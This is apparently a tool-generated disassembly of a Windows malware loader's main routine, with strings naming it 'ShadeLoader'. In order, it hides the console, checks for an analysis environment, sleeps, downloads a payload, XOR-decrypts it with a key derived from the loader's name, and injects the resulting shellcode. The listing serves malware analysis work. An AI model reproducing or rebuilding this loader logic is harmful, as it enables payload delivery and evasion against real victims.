Function at 0x140001010
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x140001029
mov edx, 5
mov rcx, rax
jmp 0x14000102d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Starting
call fcn.140001300
mov rcx, rax
lea rdx, [0x1400014e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001ae0
test al, al
je 0x140001091
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____Suspicious_environment_detected
call fcn.140001300
mov rcx, rax
lea rdx, [0x1400014e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400023c0
mov eax, 1
add rsp, 0x38
ret
mov qword [rsp + 0x40], rbx
xor ecx, ecx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x30], rdi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Delay_execution_complete.
call fcn.140001300
mov rcx, rax
lea rdx, [0x1400014e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ebx, ebx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], rbx
call fcn.140003ad0
mov rdi, rax
test rax, rax
je 0x140001249
mov rsi, qword [rsp + 0x50]
test rsi, rsi
je 0x140001249
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Payload_downloaded_successfully._Size:
call fcn.140001300
mov rcx, rax
mov rdx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str._bytes.
call fcn.140001300
mov rcx, rax
lea rdx, [0x1400014e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsd xmm0, qword [str.ShadeLoader]
mov eax, dword [0x140006730]
movsd qword [rsp + 0x20], xmm0
mov dword [rsp + 0x28], eax
test rsi, rsi
je 0x140001183
movabs r8, 0x2e8ba2e8ba2e8ba3
nop dword [rax + rax]
mov rcx, rbx
mov rax, r8
mul rbx
shr rdx, 1
imul rax, rdx, 0xb
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor byte [rdi + rbx], al
inc rbx
cmp rbx, rsi
jb 0x140001160
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Decrypted_payload_:_obfuscated_payload
call fcn.140001300
mov rcx, rax
lea rdx, [0x1400014e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rsi
mov rcx, rdi
call fcn.140001520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
jne 0x1400011e6
lea rdx, str.____Shellcode_injection_failed
call fcn.140001300
mov rcx, rax
lea rdx, [0x1400014e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000126c
lea rdx, str.___Shellcode_injected_successfully
call fcn.140001300
mov rcx, rax
lea rdx, [0x1400014e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400023c0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Cleanup_complete
call fcn.140001300
mov rcx, rax
lea rdx, [0x1400014e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rsi, qword [rsp + 0x48]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x30]
add rsp, 0x38
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____Failed_to_download_payload
call fcn.140001300
mov rcx, rax
lea rdx, [0x1400014e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rsi, qword [rsp + 0x48]
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x30]
add rsp, 0x38
ret